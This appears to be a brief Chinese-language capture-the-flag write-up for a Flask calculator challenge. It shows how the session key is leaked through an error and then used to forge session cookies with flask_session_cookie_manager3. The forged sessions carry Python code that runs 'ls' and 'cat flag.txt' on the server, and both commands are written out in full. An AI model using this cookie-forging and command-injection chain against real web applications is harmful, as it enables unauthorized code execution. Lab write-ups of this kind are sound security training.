打开页面后发现其功能是进行计算
使用jwt解析可以发现我们所提交的内容在session中
通过1/0进行报错,用#注释来进行绕过,
执行命令可以得到加密session时所需的key
根据上面的测试我们可以知道这里是一个Flask_SSTI,所以使用flask-session-cookie加密脚本
将加密后的session替换掉原来的session即可得到结果
使用ls命令查看当前目录下的所有文件
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}"
获取flag
python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"